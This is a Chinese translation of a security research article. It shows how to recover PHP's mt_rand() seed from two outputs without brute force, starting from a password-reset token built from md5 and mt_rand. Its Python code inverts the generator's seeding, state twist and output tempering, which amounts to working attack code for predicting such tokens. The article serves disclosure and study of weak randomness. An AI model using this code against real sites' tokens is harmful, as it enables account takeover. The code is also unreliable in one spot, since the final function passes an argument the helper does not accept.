用2個隨機值破解PHP的MT_RAND函數

22.png

介紹

在對一個老舊網站進行滲透測試時,我們遇到了一段很久沒看過的代碼:

<?php
function resetPassword($email)
{
    [...]
    $superSecretToken = md5($email . ':' . mt_rand());
    [...]
    $this->sendEmailWithResetToken($email, $superSecretToken);
}

使用Mersenne Twister的PHP代碼生成了一個被認爲是隱祕且不可被暴力破解的令牌。

在過去十多年,大量文章和工具都提及了隨機令牌的問題。許多應用使用rand()mt_rand()來生成祕密令牌或密碼,但這些函數的安全性存在缺陷,不應該用於保密和身份識別。爲了預測這些函數的值,你必須找到seed,即所有隨機值的源頭。爲此你需要獲得“所有內部狀態”(mt_rand的624個狀態值),或者使用部分隨機值來對種子進行暴力破解

然而,我們的一名研究人員認爲,僅使用mt_rand()函數的兩個輸出就可以找到Mersenne Twister的seed(而且此過程不需要任何暴力破解)。可惜的是,我們找不到任何支持這一理論的資料,關於這個問題的筆記早就丟失了。

而在對過去數據進行了一番分析之後,我們證明了他的看法是對的,我們將演示如何做到這一點。

攻破函數

使用mt_rand()生成隨機數的第一步是使用一個seed(無符號整型)來生成一個包含624個值的狀態數組,這可以通過調用mt_srand($seed)來完成,也可以通過PHP在請求第一個隨機數時自動完成。在此之後,每次調用mt_rand()都將獲取下一個狀態值,混淆它,並將其返回給用戶。

對於最新的PHP版本(PHP 7+),涉及的文件爲ext/standard/mt_rand.c。對於舊版本的PHP(PHP 5-), 涉及的文件爲ext/standard/rand.c

知道seed的值能夠使你預測將來產生的隨機值,直到發生其他對mt_srand()的調用。因此,從mt_rand()的一個或多個值生成的祕密隨機值將不再是祕密,從而導致明顯的安全問題。

隨機數生成過程分爲三個步驟:

  1. 通過種子的模乘法生成初始狀態值數組

  2. 將狀態值打亂,得到一個混淆後的狀態值數組

  3. 調用mt_rand()時,返回一個修改後的(經過混淆)狀態值數組的狀態值

對於以上每個步驟,我都將展示其代碼,簡要描述其工作流程,介紹輸出輸入。

注意:PHP 7+對負責生成混淆狀態的代碼進行了一些更改(請參閱mt_randl.c中定義的twisttwist_php),不過影響不大,我們還是可以通過算法的變化推測出seed。我們主要關注最初的代碼實現,twist_php

seed到初始狀態值數組

#define MT_N (624)
#define N MT_N /* length of state vector */
#define M (397)/* a period parameter */

static inline void php_mt_initialize(uint32_t seed, uint32_t *state)
{
    /* Initialize generator state with seed
       See Knuth TAOCP Vol 2, 3rd Ed, p.106 for multiplier.
       In previous versions, most significant bits (MSBs) of the seed affect
       only MSBs of the state array.  Modified 9 Jan 2002 by Makoto Matsumoto. */

    register uint32_t *s = state;
    register uint32_t *r = state;
    register int i = 1;

    *s++ = seed & 0xffffffffU;
    for( ; i < N; ++i ) {
        *s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
        r++;
    }
}

創建一個包含624個值的初始狀態值數組。第一個狀態值是seed,後續每個狀態值都是由前一個狀態值生成的。

現在,如果我們知道這些狀態值中的任何一個,比如state[123],能否推測出state[0],也就是seed?

python版本的代碼是:

N = 624
M = 397

MAX = 0xffffffff

STATE_MULT = 1812433253

def php_mt_initialize(seed):
    """Creates the initial state array from a seed.
    """
    state = [None] * N
    state[0] = seed & 0xffffffff;
    for i in range(1, N):
        r = state[i-1]
        state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX
    return state

因爲值是迭代成生的,所以我們需要做的第一件事是嘗試根據istate[i]推測出state[i-1],然後我們就可以重複操作找出以前的值,直到state[0]。下圖中S代表狀態值,i在1到624之間:

33.png

我們可以計算18124332530x100000000的模乘逆:

44.png

然後:

55.png

轉換爲python,我們可以得到:

STATE_MULT_INV = 2520285293
MAX = 0xffffffff

def _undo_php_mt_initialize(s, i):
    s = (STATE_MULT_INV * (s - i)) & MAX
    return s ^ s >> 30

def undo_php_mt_initialize(s, p):
    """From an initial state value `s` at position `p`, find out seed.
    """
    for i in range(p, 0, -1):
        s = _undo_php_mt_initialize(s, i)
    return s

這意味着如果我們得到任何初始狀態值,就可以計算出其他狀態值以及seed。

初始狀態值數組到混淆後狀態值數組

#define hiBit(u)  ((u) & 0x80000000U)  /* mask all but highest   bit of u */
#define loBit(u)  ((u) & 0x00000001U)  /* mask all but lowestbit of u */
#define loBits(u) ((u) & 0x7FFFFFFFU)  /* mask the highest   bit of u */
#define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */

#define twist(m,u,v)  (m ^ (mixBits(u,v)>>1) ^ ((php_uint32)(-(php_int32)(loBit(u))) & 0x9908b0dfU))

static inline void php_mt_reload(TSRMLS_D)
{
    /* Generate N new values in state
           Made clearer and faster by Matthew Bellew ([email protected]) */

    register php_uint32 *state = BG(state);
    register php_uint32 *p = state;
    register int i;

    for (i = N - M; i--; ++p)
        *p = twist(p[M], p[0], p[1]);
    for (i = M; --i; ++p)
        *p = twist(p[M-N], p[0], p[1]);
    *p = twist(p[M-N], p[0], state[0]);
    BG(left) = N;
    BG(next) = state;
}

對初始狀態值數組進行混淆,從而產生一個新的狀態值數組,前226(N-M)個值的計算與後面的值不同。在python中,我們可以這樣表示:

N = 624
M = 397

def php_mt_reload(s):
    for i in range(0, N - M):
        s[i] = _twist(s[i+M], s[i], s[i+1])
    for i in range(N - M, N - 1):
        s[i] = _twist(s[i+M-N], s[i], s[i+1])

def _twist_php(m, u, v):
    """Emulates the `twist` #define.
    """
    mask = 0x9908b0df if u & 1 else 0
    return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask

在這裏,我們會證明可以利用兩個混淆後的狀態值推導出一個初始狀態值。

state[0]和state[227]之間是存在推導關係的。這裏我們用小s來命名初始狀態數組,用大S來命名新的混淆後的狀態值數組:

    S[227] = _twist(S[227 - 227], s[227], s[228])
<=> S[227] = _twist(S[0], s[227], s[228])
<=> S[227] = S[0] ^ (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)
<=> S[227] ^ S[0] = (((s[227] & 0x80000000) | (s[228] & 0x7FFFFFFF)) >> 1) ^ (0x9908b0df if s[227] & 1 else 0)

作爲攻擊者,如果知道了混淆後的S[0]S[227],然後進行XOR操作,我們就會得到很多關於初始狀態值s[228]的信息,以及部分關於s[227]的信息。如果我們用X表示S[227] ^ S[0],則:

  • 因爲XOR表達式的左部分是右移的,所以它的MSB(最高有效位)總是空的。因爲MSB(0x9908b0df)已經被設置好了,所以xMSB只由右邊掩碼來決定。因此,MSB(X) = LSB(s[227]),如果X有掩碼,我們可以把它去掉。(LSB爲最低有效位)

  • 然後,BIT(s[227], 31) = BIT(X, 30)

  • 其餘值是來自s[228]的bit,來自301位。

綜上所述,我們有:

  • 初始狀態值s[227]MSBLSB

  • 初始狀態值s[228]301位的值

因此,我們有4個可能的s[228]。由於我們也知道s[227]的一些bit,所以我們可以從s[228]的四個可能值中計算出候選的s[227],並通過驗證LSBMSB得到真正的s[227]。此外,我們可以獲得與候選s[228]相關聯的seed,利用它來重新生成一個狀態數組,並檢查它是否和S[0]匹配。下面是相關python代碼:

def undo_php_mt_reload(S000, S227):
    # m S000
    # u S227
    # v S228
    X = S000 ^ S227

    # This means the mask was applied, and as such that S227's LSB is 1
    s22X_0 = bv(X, 31)
    # remove mask if present
    if s22X_0:
        X ^= 0x9908b0df

    # Another easy guess
    s227_31 = bv(X, 30)
    # remove bit if present
    if s227_31:
        X ^= 1 << 30

    # We're missing bit 0 and bit 31 here, so we have to try every possibility
    s228_1_30 = (X << 1)
    for s228_0 in range(2):
        for s228_31 in range(2):
            s228 = s228_0 | s228_31 << 31 | s228_1_30

            # Check if the results are consistent with the known bits of s227
            s227 = _undo_php_mt_initialize(s228, 228)
            if bv(s227, 0) != s22X_0:
                continue
            if bv(s227, 31) != s227_31:
                continue

            # Check if the guessed seed yields S000 as its first scrambled state
            rand = undo_php_mt_initialize(s228, 228)
            state = php_mt_initialize(rand)
            php_mt_reload(state)

            if not S000 == state[0]:
                continue

            return rand
    return None

如上所述,爲了推導出原始seed,我們使用了混淆後S[0]S[227]之間的關係。可以看到,這種關係對於任何由226個值分隔的狀態值都是有效的。因此,知道S[i]S[i+227]這兩個狀態值,以及它們的偏移量i,我們就可以得到seed。

現在我們可以檢查mt_rand()的最後一步。

混淆後狀態值到mt_rand()的輸出

當我們調用mt_rand()時,PHP會從混淆後的狀態值數組中取一個值,稍微處理一下,返回值。

PHP_FUNCTION(mt_rand)
{
    zend_long min;
    zend_long max;
    int argc = ZEND_NUM_ARGS();

    if (argc == 0) {
        // genrand_int31 in mt19937ar.c performs a right shift
        RETURN_LONG(php_mt_rand() >> 1);
    }
    ...
}

PHPAPI uint32_t php_mt_rand(void)
{
    /* Pull a 32-bit integer from the generator state
           Every other access function simply transforms the numbers extracted here */

    register uint32_t s1;

    if (UNEXPECTED(!BG(mt_rand_is_seeded))) {
        php_mt_srand(GENERATE_SEED());
    }

    if (BG(left) == 0) {
        php_mt_reload();
    }
    --BG(left);

    s1 = *BG(next)++; // PICKS NEXT SCRAMBLED STATE VALUE
    s1 ^= (s1 >> 11);
    s1 ^= (s1 <<  7) & 0x9d2c5680U;
    s1 ^= (s1 << 15) & 0xefc60000U;
    return ( s1 ^ (s1 >> 18) );
}

s1表示混淆後的狀態值。在經過php_mt_rand()的4個操作後,mt_rand()將它向右移動一位。顯然,最後這個操作是不可逆轉的,其他四個可以。

我們可編寫以下代碼來逆向這些轉換:

def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
    s1 ^= (s1 >> 18)
    s1 ^= (s1 << 15) & 0xefc60000

    s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)

    s1 ^= s1 >> 11
    s1 ^= s1 >> 22

    return s1

def undo_lshift_xor_mask(v, shift, mask):
    """r s.t. v = r ^ ((r << shift) & mask)
    """
    for i in range(shift, 32, shift):
        v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
    return v

給定一個mt_rand()輸出,並猜測它的LSB(最低有效位),我們可以得到兩個可能的混淆後狀態值:一個的LSB是0,另一個是1。

總結

讓我們把這些逆向的步驟放在一起:

1.從mt_rand()中獲取兩個值(中間隔了226個其他隨機值:R000R227)以及i(代表R000之前生成的隨機數的個數)。

2.從這些值中獲取混淆後的狀態值。

3.XOR那些狀態值,推斷出初始的狀態值228

4.從s228推導回s0,得到seed。

def main(_R000, _R227, offset):
    # Both were >> 1, so the leftmost byte is unknown
    _R000 <<= 1
    _R227 <<= 1

    for R000_0 in range(2):
        for R227_0 in range(2):
            R000 = _R000 | R000_0
            R227 = _R227 | R227_0
            S000 = undo_php_mt_rand(R000)
            S227 = undo_php_mt_rand(R227)
            seed = undo_php_mt_reload(S000, S227, offset)
            if seed:
                print(seed)

因爲我們缺少R000R227LSB(最低有效位哦),所以我們需要嘗試每種情況下的算法。通常,這四種組合中只有一種會推導出seed,其他的組合是不可能的。

輸出:

66.png

完整的python代碼在我的github

結論

給定兩個mt_rand()輸出值的情況下,我們確實可以在不使用任何暴力破解的情況下計算出原始seed,從而獲得任何以前或以後的mt_rand()輸出。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場:https://nosec.org/home/detail/3876.html
來源:https://www.ambionics.io/blog/php-mt-rand-prediction

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章